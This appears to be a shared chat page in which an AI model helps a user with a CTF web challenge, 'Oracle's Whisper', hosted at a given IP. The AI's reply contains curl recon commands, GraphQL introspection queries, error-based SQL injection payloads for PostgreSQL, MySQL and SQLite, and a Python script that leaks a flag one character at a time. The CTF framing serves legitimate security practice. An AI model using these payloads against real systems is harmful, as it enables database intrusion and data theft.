Oracle's Whisper 150 作者:Riddler 2780 solves 深处的神谕...

생성일: 2026년 5월 18일

답변에 사용된 모델 GPT-5.5 Thinking by Chat01

질문

Oracle's Whisper
150
作者:Riddler
2780 solves

深处的神谕只对懂得低语的人开口。每一次错误的祷文,都让她吐露一个字节的秘密。
题目地址:39.105.213.28:12605

사고

Summarizing GitHub investigation and attack paths

I considered using the GitHub URL path instead of the raw content, but that seems less relevant now. My attempts with curl and nc resulted in a connection refusal. Search results show only unreliable Chat01 pages, though one indexed page mentions /graphql. Based on the title and hint, the attack could involve a GraphQL filter error or padding oracle. I'll suggest two paths for the attack, though I can’t be certain since it’s remote. Could provide a recon and exploit plan based on SQL injection.

Considering cybersecurity safety and citations

Since this is a CTF (Capture The Flag) target, I need to be cautious about cybersecurity. The user likely wants to obtain the flag, but I can't provide that directly. I'll aim to give helpful scripts and commands, citing sources like public pages that include challenge details from Chat01 and relevant GitHub pages. Citations should back up factual data.

Thought for 1m 16s

답변

我这边直连 39.105.213.28:12605 失败,nc / curl 都是 Connection refused,所以现在拿不到真实首页、GraphQL schema、响应包,也不能诚实地编一个 flag。公开搜索也只看到同题目的 Chat01 页面,没有可靠 WP 或 flag;ISCC 官网页面显示这是 ISCC2026 线上挑战赛相关赛题环境。(chat01.ai)

从题面看,WEB 方向更像 error-based oracle / GraphQL filter 注入,不是单纯 crypto。关键词是:

“每一次错误的祷文,都让她吐露一个字节的秘密”

也就是:构造错误,让后端报错信息里带出 flag 的第 N 个字符。

你本地服务能连时,先跑这几条确认入口:

bash
curl -i http://39.105.213.28:12605/ curl -i http://39.105.213.28:12605/graphql curl -i http://39.105.213.28:12605/robots.txt

如果存在 /graphql,先测:

bash
curl -s http://39.105.213.28:12605/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"{__typename}"}'

然后做 introspection:

bash
curl -s http://39.105.213.28:12605/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"query{__schema{queryType{fields{name args{name type{kind name ofType{kind name}}}}}}}"}'

重点找带 filter / where / search / q 参数的字段。常见 payload 形态如下:

graphql
query($f:String!){ whispers(filter:$f){ id content } }

变量里测试单引号:

json
{ "f": "'" }

如果返回 SQL / parser 错误,就用 error-based 逐字节泄露。按数据库类型试:

PostgreSQL:

sql
' OR 1=CAST(('x'||SUBSTR((SELECT flag FROM flag LIMIT 1),1,1)) AS INT)--

MySQL:

sql
' OR updatexml(1,concat(0x7e,substr((select flag from flag limit 1),1,1),0x7e),1)--

SQLite:

sql
' OR CAST(substr((SELECT flag FROM flag LIMIT 1),1,1) AS INTEGER)--

自动化脚本模板:

python
import requests import re BASE = "http://39.105.213.28:12605" GQL = BASE + "/graphql" # 按实际 schema 改这里 QUERY = """ query($f:String!){ whispers(filter:$f){ id content } } """ def req(payload): r = requests.post( GQL, json={"query": QUERY, "variables": {"f": payload}}, timeout=8, ) return r.text def leak_char(pos): # 先用 PostgreSQL 模板;不行就换 MySQL / SQLite payload = ( "' OR 1=CAST(('x'||SUBSTR((SELECT flag FROM flag LIMIT 1)," f"{pos},1)) AS INT)-- " ) text = req(payload) print(f"[{pos}] response:", text[:500]) # PostgreSQL 常见错误: # invalid input syntax for type integer: "xf" m = re.search(r'invalid input syntax.*?:\s*"x(.?)"', text, re.I | re.S) if m: return m.group(1) # 通用兜底:看 ~c~、xc 这类回显 m = re.search(r"x(.?)", text) if m: return m.group(1) return None flag = "" for i in range(1, 100): ch = leak_char(i) if not ch: print("[-] leak failed at", i) break flag += ch print("[+] flag =", flag) if flag.endswith("}"): break

如果首页源码里确实有 TODO: review filter parsing before public release/graphql/api/profile 之类信息,那攻击链大概率就是:

text
/graphql filter 参数注入 → 构造数据库/解析器错误 → 错误信息回显 flag 的一个字符 → 循环 pos=1,2,3... → 拼出 flag

当前唯一卡点是远端端口拒绝连接。你本地如果能访问,把 /graphql 的 introspection 返回、或者单引号测试的完整报错贴出来,我就能把上面的 QUERY 和 payload 改成可直接跑出 flag 的版本。

이 Q&A 공유하기